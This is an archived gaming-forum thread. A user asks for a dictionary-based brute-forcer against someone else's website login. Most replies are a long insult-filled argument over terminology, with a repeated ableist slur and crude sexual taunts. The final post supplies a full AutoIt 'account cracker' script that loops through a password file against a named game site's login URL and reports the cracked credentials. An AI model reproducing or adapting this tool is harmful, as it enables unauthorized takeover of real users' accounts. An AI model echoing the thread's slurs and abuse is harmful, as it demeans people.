Read-only archive

A preserved archive of the Logical Gamers community forums, 2009-2025. The original threads and posts, served read-only. Registration, posting and private messages are gone for good.

Writing a dictionary-based brute-forcer?

1.1k views · started by 323 ·
#1
Writing a dictionary-based brute-forcer?
Hey guys.

I need to quickly write up a dictionary-based bruteforcer, I found a website with an insecure login page.

Could I do this in a macro, or do I have to write a program?

Or does anyone have a source where I could just put in the URL and the id's of the username and password box and the name of the text file and just use that?

Thanks.
#2
ur dum

go awway
#3
GAMEchief wrote:
ur dum

go awway


And how does asking how to write something make me dumb? Please, explain.
#4
bcuz wat u r riting is dumb n if u new how to program like u need 2 no 2 rite it u wuldnt have 2 ask
#5
First and foremost: why isn't this in the Programming section or somewhere else related?

Flareboy323 wrote:
I need to quickly write up a dictionary-based bruteforcer, I found a website with an insecure login page.


Bruteforcing and Dictionary Attacks are two different mechanisms. If you're writing a cracker (correct terminology) that utilizes a dictionary or password list it's commonly referred to as a Dictionary Attack. If you're using raw keywords systematically (e.g., 123456, 1234567, etc.) then it's commonly known as a Bruteforce Attack.

So, which is it? Keep in mind that ubiquitously the simpler (and in a vast majority of cases more effective) approach would be the dictionary route.

Flareboy323 wrote:
Could I do this in a macro, or do I have to write a program?


The latter would be generally good taste, but the former is also feasible provided you have the resources.

Flareboy323 wrote:
Or does anyone have a source where I could just put in the URL and the id's of the username and password box and the name of the text file and just use that?


Yes, and no.
#6
Pretty sure "crackers" are a subcategory of brute forcer. A brute forcer is anything that berates a server with various combinations of a username and passwords in an attempt to find the correct password for the account. That includes dictionary attacks.
#7
GAMEchief wrote:
Pretty sure "crackers" are a subcategory of brute forcer. A brute forcer is anything that berates a server with various combinations of a username and passwords in an attempt to find the correct password for the account. That includes dictionary attacks.


This is true. Also, I do know how to program, but why program one myself if I can just use someone else's that's probably better?

@The UnIntelligible: Yeah yeah, I know that.
#8
GAMEchief wrote:
Pretty sure "crackers" are a subcategory of brute forcer. A brute forcer is anything that berates a server with various combinations of a username and passwords in an attempt to find the correct password for the account. That includes dictionary attacks.


You're wrong.

Bruteforcing is a subcategory mechanism of the actual process of cracking. There's a fine-line between dictionary attacks and bruteforce attacks (exhaustive key search)—both fall within the category of the concept Cracking.

Flareboy323 wrote:
This is true.


See above.


Flareboy323 wrote:
Also, I do know how to program, but why program one myself if I can just use someone else's that's probably better?


I've already explained this to you. And to an extent, your friend GAMEchief did, too-

The UnIntelligible wrote:
The latter would be generally good taste



Flareboy323 wrote:
@The UnIntelligible: Yeah yeah, I know that.


No you don't. Otherwise this thread wouldn't exist.
#9
The UnIntelligible wrote:
You're wrong.

Bruteforcing is a subcategory mechanism of the actual process of cracking. There's a fine-line between dictionary attacks and bruteforce attacks (exhaustive key search)—both fall within the category of the concept Cracking.

No shit. I misread what you wrote, and was using cracker incorrectly, as I read you as having written "a cracker is a dictionary attack" as opposed to "a cracker that uses a dictionary attack." I was using it that way to make it easier for you to understand, but my mistake for reading it wrong.

Crackers > Brute Forcers > Dictionary Attacks

Dictionary attacks are still brute forcers.
#10
GAMEchief wrote:
No shit. I misread what you wrote, and was using cracker incorrectly


All of this is obvious. And I personally think your entire post was just an attempt to justify your initial mistake—misread or not.

GAMEchief wrote:
Dictionary attacks are still brute forcers.


Dictionary attacks are not Bruteforcers. People usually address it as such because it's used idiomatically rather than technically for simplicity purposes.
#11
The UnIntelligible wrote:
All of this is obvious. And I personally think your entire post was just an attempt to justify your initial mistake—misread or not.

You're retarded.

Dictionary attacks are not Bruteforcers.

Yes they are. Especially when you are brute forcing with them, like OP intends. You know, that being what brute forcers do. Brute force and all.
#12
GAMEchief wrote:
You're retarded.


For stating a fact I'm the retard here. Okay. You were originally wrong (you still are). You tried to justify your ignorant mistake. And I called you out accordingly. As simple as that.

GAMEchief wrote:
Yes they are. Especially when you are brute forcing with them, like OP intends. You know, that being what brute forcers do. Brute force and all.


Oh God. You're completely twisting the situation here.

I thought you would be able to admit you were wrong here; clearly you aren't.

P.S. You still don't know the difference between a bruteforcer and a dictionary attack.
#13
The UnIntelligible wrote:
For stating a fact I'm the retard here. Okay. You were originally wrong (you still are). You tried to justify your ignorant mistake. And I called you out accordingly. As simple as that.

You are adorably serious.
Your perception of other people is concerning, though.

I did use cracker wrong, and I admitted that immediately. That's not an attempt to justify any mistake, as I certainly wouldn't say, "No, the answer isn't A. It's B." and later say it is "C" in an attempt to look less retarded when I know the answer is A. That doesn't make sense.
What does make sense is that you are retarded.

A dictionary attack is a brute forcer, because it uses brute force to crack. A brute forcer is a cracker because it cracks.
Hurr durr hurr. See how that logic works?

I didn't fall off the retard ship into basic reasoning after a matter of a single post, but if you want to argue that to make it look like what you are saying has any more ground, feel absolutely free. It doesn't change the fact that your definitions have been wrong from the start.

also u r dum as shit gb24chan u haxor w/ ur 1337 noledge
u r 2 kewl w ur gaia accounts i dunt feel safe heer plz jus go awway
#14
GAMEchief wrote:
You are adorably serious.
Your perception of other people is concerning, though.


Yeah, clearly I'm serious here for correcting one pseudo-intellectual clueless skiddy. This is hilarious. I can tell you're a little upset about being embarrassed now.

GAMEchief wrote:
I did use cracker wrong, and I admitted that immediately. That's not an attempt to justify any mistake, as I certainly wouldn't say, "No, the answer isn't A. It's B." and later say it is "C" in an attempt to look less retarded when I know the answer is A. That doesn't make sense.
What does make sense is that you are retarded.


Your entire posts were incorrect, not only your usage of the term cracker. You tried to justify it because despite being wrong you still spewed nonsensical ramble.

GAMEchief wrote:
What does make sense is that you are retarded.


I don't think someone who doesn't understand the distinction between bruteforcing and dictionary attacks is entitled to judge intelligence.

GAMEchief wrote:
A dictionary attack is a brute forcer, because it uses brute force to crack. A brute forcer is a cracker because it cracks.
Hurr durr hurr. See how that logic works?


That isn't logic you idiot. Oh lord. This entire time I've been being lenient with you but this is just simply ridiculous.

A dictionary attack and bruteforce attack (bruteforcer) are methodically different things. They both fall within the spectrum of Cracking. A dictionary attack is not bruteforcing. Bruteforcing is not a dictionary attack. Both are mechanisms utilized by the concept or process of cracking in itself.

Do you understand how that logic works? (If you do that would seriously surprise me.)

GAMEchief wrote:
I didn't fall off the retard ship into basic reasoning after a matter of a single post, but if you want to argue that to make it look like what you are saying has any more ground, feel absolutely free. It doesn't change the fact that your definitions have been wrong from the start.


What I'm saying does simply have more ground. But that's not very surprising considering I'm arguing with a non-programmer moron. And now you're contradicting yourself by saying my definitions are wrong when you've admittedly already said yours were wrong. Put aside the fact you still are wrong.

GAMEchief wrote:
also u r dum as shit gb24chan u haxor w/ ur 1337 noledge


I like how what I say comes off as being some all-knowing omniscient being. I just simply know more than you. That's all there really is to it.

I'm not insinuating I'm some sort of God.
GAMEchief wrote:
u r 2 kewl w ur gaia accounts i dunt feel safe heer plz jus go awway


And this is the person who insults others' intelligence. Classic.

Yeah, I think I'm done arguing with you here. It's very clear that you aren't playing with a full deck. My advice to you at this point is to stay in your lane and stop trying to discuss what you clearly don't know.
#15
I wish I could program. Then I could make things like crackers and brute forcers like you, but I'm stuck not knowing anything about these things, because I've never programmed a day in my life, or hacked anything ever. You are so much smarter than I am. :(

also retarded
#16
GAMEchief wins.
#17
Nah, bro, I throw the white flag. If only I knew how to program.
I'm arguing with a non-programmer moron.


I HAVE BEEN CALLED OUT AND I AM ASHAMED TO HAVE STEPPED OUT OF LINE AND TALKED ABOUT THINGS I KNOW NOTHING ABOUT.

I am too embarrassed to ever show my face here again. :(
#18
Ethan wrote:
GAMEchief wins.


This isn't a debate. If it were a debate he would lose because he resorted to ad-hominem when he was clearly wrong to begin with. If you don't know the subject matter in the first place please refrain from commenting.

GAMEchief was upset about how I corrected him because he tried to know what he clearly didn't.

Edit: He's no longer even arguing the original topic. He's downplaying the fact that he's lost the argument.

This is rich.
#19
The UnIntelligible wrote:
This isn't a debate. If it were a debate he would lose because he resorted to ad-hominem when he was clearly wrong to begin with. If you don't know the subject matter in the first place please refrain from commenting.

GAMEchief was upset about how I corrected him because he tried to know what he clearly didn't.

Edit: He's no longer even arguing the original topic. He's downplaying the fact that he's lost the argument.

This is rich.


You are right about everything. This is me conceding, not downplaying. I couldn't be more wrong, and I shouldn't discuss subject matter of which I know nothing about. That was just foolish of me.
I am thinking of taking some classes on hacking. What would you recommend I start with? Windows? Intro to Hacking I? They have that right? Hopefully they teach how2hack Pentagon before I get my bachelors cuz i wnat to make lots of money as leet hacker like you are good at being and know all the things about, that I admitting is true.

lol ad hominem, you're retarded. l2not ad hominem from the start when accusing of ad hominem

I even put in signature so erryone nows im not programmer either.
#20
GAMEchief wrote:
You are right about everything. This is me conceding, not downplaying. I couldn't be more wrong, and I shouldn't discuss subject matter of which I know nothing about. That was just foolish of me.


I'm not right about everything, I admit that. I was exclusively right in this instance because I'm arguing with an idiot who had no idea what he was talking about.

GAMEchief wrote:
I am thinking of taking some classes on hacking. What would you recommend I start with? Windows? Intro to Hacking I? They have that right? Hopefully they teach how2hack Pentagon before I get my bachelors cuz i wnat to make lots of money as leet hacker like you are good at being and know all the things about, that I admitting is true.


Exhibit A: Sarcastically rambling rather than offering a counterargument to the topic at hand.

LG is just full of idiots.

GAMEchief wrote:
lol ad hominem, you're retarded


It's one word; not two, you idiot. Also you probably don't even understand the meaning of that word. It's also getting a bit ironic how someone who's exemplified how retarded he is is deeming others also retarded.

This thread made my day, it truly did.
#21
The UnIntelligible wrote:
LG is just full of idiots.

go awway
ur brain is 2 big 4 us lgers
so big dat u cant eevn google answer 2 topic n ad hominem instead
is lyk ur god of noledge n talk

i want b lyk u soooo much wen i gro up
#22
GAMEchief wrote:
go awway
ur brain is 2 big 4 us lgers
so big dat u cant eevn google answer 2 topic n ad hominem instead
is lyk ur god of noledge n talk

i want b lyk u soooo much wen i gro up


GAMEchief, you know, I've been being lax with you this whole time, right? Not trying to insult you or anything, you were just wrong and you refused to admit such. That was your one core fallacy here.

I also don't mean to insult the entirety of LG. There are a few exceptions to my statement. There's Artificial, Coffincase, and probably a few others. Just certainly not you.
#23
I bet your penis is huge too.

The way you adamantly and incorrectly know such minute and useless information, but are way superior to people about it and super serious. If my vagina was functional, it would be so wet right now.
#24
GAMEchief wrote:
I bet your penis is huge too.

The way you adamantly and incorrectly know such minute and useless information, but are way superior to people about it and super serious. If my vagina was functional, it would be so wet right now.


Congratulations on using words incorrectly.

Anyway, guess this discussion is over.
#25
Mmm, your fallacies are delicious.

Mmm, yer falconry are decisions.
#26
GAMEchief wrote:
Mmm, your fallacies are delicious.

Mmm, yer falconry are decisions.


We aren't being serious anymore are we.

Ah well. This was fun while it lasted.
#27
The UnIntelligible wrote:
Congratulations on using words incorrectly.

Anyway, guess this discussion is over.


You should silence yourself from this website.
This thread has shown how big of a disease you are and now you need to be quarantined.
#28
The UnIntelligible wrote:
We aren't being serious anymore are we.

Ah well. This was fun while it lasted.

Those words are too small for me to autocorrect.

Like your pens.
#29
GAMEchief wrote:
Those words are too small for me to autocorrect.

Like your pens.


i think you mean penis.

anyway it would be nice to get to talk to you again. I might actually bother attempting to add you to MSN
#30
The UnIntelligible wrote:
i think you mean penis.

anyway it would be nice to get to talk to you again. I might actual bother attempting to add you to MSN


Please remove your e-penis before you spawn more useless children.
#32
Once again, GAMEchief wins.
#33
Topic: Flareboy323, found this laying around somewhere. Pretty old and fairly messy, but you might be able to modify it a bit to suit your needs:

; Made by Protozoid



#include <File.au3>

#include <Misc.au3>

;#include <MD5.au3>

;#include <Constants.au3>



Global Const $nullstring = ''

Global Const $apiURL = 'http://www.duelingnetwork.com:8080/Dueling_Network/login.do?'

Global Const $imageDir = @ScriptDir & '/minigfx.jpg'



Global $oHttp = ObjCreate("winhttp.winhttprequest.5.1"), $cracked, $counter, $resp



ObjEvent("AutoIt.Error", "ErrHandler")



;If _Singleton(@ScriptName) Then

	;MsgBox(16, "Error", "An instance of Mini-SAB Account Cracker already exists.")

	;Exit

;EndIf



HotKeySet('{Esc}', "Close")



;Splash()



While 1

	__Init__()

WEnd



Func Close()

	Exit

EndFunc   ;==>Close



Func Splash()

	SplashImageOn("", $imageDir, 500, 200, Default, Default, 1)

	Sleep(5700)

	SplashOff()

EndFunc   ;==>Splash



Func __Init__()

	$username = InputBox("Mini-SAB Account Cracker v1.1", "Enter the user you would like to 'hack' in the input below." & @CRLF & @CRLF & _

			"Press Cancel, click the red X, or Esc to exit.")

	If @error = 1 Then Exit

	$txt = FileOpenDialog("Choose passwords via Text file", @ScriptDir & "\", "Text Files (*.txt;*.text)", 1 + 4)

	If $txt <> '' Then MsgBox(64, "Cracking Session Started", "Now cracking user " & $username & '..', 2)

	Do

		For $i = 1 To _FileCountLines($txt)

			$password = FileReadLine($txt, $i)

			$resp = _Login($username, $password)

			$counter += 1

			If StringInStr($resp, "Logged in") Or StringInStr($resp, "banned") Then

				$cracked = True

				$choice = MsgBox(4, "Cracked", "User " & $username & " has been cracked!" & @CRLF & @CRLF & "Username: " & $username & @CRLF & "Password: " & $password & _

						@CRLF & @CRLF & "Copy user information to clipboard?")

				Switch $choice

					Case 6

						ClipPut("Username: " & $username & @CRLF & "Password: " & $password)

					Case 7

						MsgBox(16, "", "User information was not copied.")

				EndSwitch

				$choice = MsgBox(4, "", "Would you like to crack another user?")

				Switch $choice

					Case 6

						MsgBox(64, "", "OK, now returning to main frame..", 2)

					Case 7

						Exit

				EndSwitch

			EndIf

			If $cracked <> True And $i >= _FileCountLines($txt) Then MsgBox(16, "Failed", "User " & $username & " was not cracked.")

		Next

	Until $cracked = True Or $i >= _FileCountLines($txt)

EndFunc   ;==>__Init__



Func _HttpRequest($oHttp, $sMethod, $sURL, $sData = '', $sReferrer = '', $fKeep_alive = False, $sProxy = '')

	$oHttp.Open($sMethod, $sURL, False)

	$oHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 BTRS28059 Firefox/3.6.12 (.NET CLR 3.5.30729) SuperSearchSearchToolbar/1.2")

	If $fKeep_alive == True Then $oHttp.SetRequestHeader("Connection", "keep-alive")

	If $sReferrer = $nullstring Then $sReferrer = $sURL

	$oHttp.SetRequestHeader("Referrer", $sReferrer)

	If $sProxy <> $nullstring Then $oHttp.SetProxy(2, $sProxy)

	If $sMethod == "GET" Then

		$sData = $nullstring

	ElseIf $sMethod == "POST" Then

		$oHttp.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")

	Else

		Return "Invalid method specified."

	EndIf

	$oHttp.Send($sData)

	Return $oHttp.ResponseText

EndFunc   ;==>_HttpRequest



Func _Login($user, $pass)

	$Ret = _HttpRequest($oHttp, "GET", $apiURL & "username=" & $user & "&password=" & $pass)

	Return $Ret

EndFunc   ;==>_Login



Func ErrHandler()

	SetError(1)

	$oHttp = 0

	$oHttp = ObjCreate("winhttp.winhttprequest.5.1")

EndFunc   ;==>ErrHandle


Au3